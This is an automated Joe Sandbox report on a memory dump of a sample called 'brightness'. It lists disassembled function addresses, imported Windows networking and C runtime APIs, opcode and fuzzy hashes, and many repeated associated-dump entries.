Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeTask$AllocFolderKnownLocalPathwnsprintf
String ID: %s\%s
API String ID: 294551330-4073750446
Opcode ID: 46ffc9bac6c41bfe355903d5fa675634d872cb793d6e6f05a50b57342f2d8e4f
Instruction ID: 41c029e9850c83c2eae8ac2385f904d1135515a632faa8ecfc5ca831f9d4428e
Opcode Fuzzy Hash: 46ffc9bac6c41bfe355903d5fa675634d872cb793d6e6f05a50b57342f2d8e4f
Instruction Fuzzy Hash: FC019270A50209FBD714DFA4DC85FAE77B8EF04701F104065FA05E7290D674AE50CB64

Function 002DB9A0 Relevance: 9.1, APIs: 6, Instructions: 119networkCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002DB9CE
inet_addr.WS2_32(00000000), ref: 002DBA14
gethostbyname.WS2_32(00000000), ref: 002DBA27

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: _memmovegethostbynameinet_addr
String ID:
API String ID: 380901696-0
Opcode ID: c1a5e12767f38b9f2719bb2c3498a0e7350fa3042c160124bcfd4525d8dc4a78
Instruction ID: afc5bab54c9d510633b7ad6889c4c6b7ad77b18a6da223196de14ead3d74b32a
Opcode Fuzzy Hash: c1a5e12767f38b9f2719bb2c3498a0e7350fa3042c160124bcfd4525d8dc4a78
Instruction Fuzzy Hash: 1A416AB5A50208EFDB04EFA4C894FAEB7B5AF49304F208559F502A7380DB75AE50DB50

Function 002E7665 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 002E768D

Part of subcall function 002E39A8: __getptd.LIBCMT ref: 002E39B6
Part of subcall function 002E39A8: __getptd.LIBCMT ref: 002E39C4

__getptd.LIBCMT ref: 002E7697

Part of subcall function 002E81BE: __amsg_exit.LIBCMT ref: 002E81CE

__getptd.LIBCMT ref: 002E76A5
__getptd.LIBCMT ref: 002E76B3
__getptd.LIBCMT ref: 002E76BE
_CallCatchBlock2.LIBCMT ref: 002E76E4

Part of subcall function 002E3A4D: __CallSettingFrame@12.LIBCMT ref: 002E3A99

Part of subcall function 002E778B: __getptd.LIBCMT ref: 002E779A
Part of subcall function 002E778B: __getptd.LIBCMT ref: 002E77A8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit
String ID:
API String ID: 3688206559-0
Opcode ID: 26db9f2b1503ad5790a62a889c0c4d61966142d31cfc97b39f230b33cf39cdc8
Instruction ID: 949e3059577d4e4687f022c752d4a275701cc40fbcad1277cac66fb277a6e02c
Opcode Fuzzy Hash: 26db9f2b1503ad5790a62a889c0c4d61966142d31cfc97b39f230b33cf39cdc8
Instruction Fuzzy Hash: D11107B1C54349DFDF00EFA5C845AAEBBB1FF04311F508069F858AB251DB789A219F50

Function 002C6E80 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 234COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002C6EEB
SetEvent.KERNEL32(00000000), ref: 002C702F
shutdown.WS2_32(?,00000002), ref: 002C723B
closesocket.WS2_32(?), ref: 002C7245

Part of subcall function 002E0CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E0CED

Part of subcall function 002E0950: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E096D

Strings

d, xrefs: 002C6FE6

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt$Eventclosesocketsetsockoptshutdown
String ID: d
API String ID: 3983269906-2564639436
Opcode ID: 7ac886636e1ad81b48c6eca6a43d0ed187d520537acd73e93f708c3505343d0c
Instruction ID: 698209ef799dbe35ce1d2c8a9b3399d73fc099de7b6e5f547f3fc8da36baf946
Opcode Fuzzy Hash: 7ac886636e1ad81b48c6eca6a43d0ed187d520537acd73e93f708c3505343d0c
Instruction Fuzzy Hash: B9A15A719101189FEB28DF64CC96FAEB775FB94304F108298E11DAB2C2D771AA95CF90

Function 002E89CA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 002E8A3B
___crtGetStringTypeA.LIBCMT ref: 002E8A68
___crtLCMapStringA.LIBCMT ref: 002E8A88
___crtLCMapStringA.LIBCMT ref: 002E8AAD

Strings

, xrefs: 002E8A12

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: String___crt$Type_memset
String ID:
API String ID: 1957702402-3916222277
Opcode ID: e9dd6cbef8825c86d0fca21a31516307864b88a866c60f76839322c5466ab7d5
Instruction ID: b0c20e62c8e63c68c45a7d6fa252ade346d119c7ea2605772855b4e4aad51514
Opcode Fuzzy Hash: e9dd6cbef8825c86d0fca21a31516307864b88a866c60f76839322c5466ab7d5
Instruction Fuzzy Hash: 144146B00507DC9EDB218B25CC85FFBBBEC9B05308F5444EDE9CA86182E6B19A558F20

Function 002E7A12 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 002E7A25

Part of subcall function 002E7980: ___BuildCatchObjectHelper.LIBCMT ref: 002E79B6

_UnwindNestedFrames.LIBCMT ref: 002E7A3C
___FrameUnwindToState.LIBCMT ref: 002E7A4A

Strings

csm, xrefs: 002E7A14
csm, xrefs: 002E7A21, 002E7A36, 002E7A49, 002E7A67, 002E7A77

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 4ef99debcadfdcecb3433f75b9a0fe794b6cec0601b21e23afb445cc8b992cdc
Instruction ID: 90fa16884491ab4887799689cb0625298c3021557100df6cee817c479219c610
Opcode Fuzzy Hash: 4ef99debcadfdcecb3433f75b9a0fe794b6cec0601b21e23afb445cc8b992cdc
Instruction Fuzzy Hash: 5C01FB7105418ABBDF12AF92CC45EEE7F6AEF18358F904020FD1815262D7329A71DFA1

Function 002E73B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 002E73D9

Part of subcall function 002E81BE: __amsg_exit.LIBCMT ref: 002E81CE

__getptd.LIBCMT ref: 002E73EA
__getptd.LIBCMT ref: 002E73F8

Strings

RCC, xrefs: 002E73C4
MOC, xrefs: 002E73CB

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
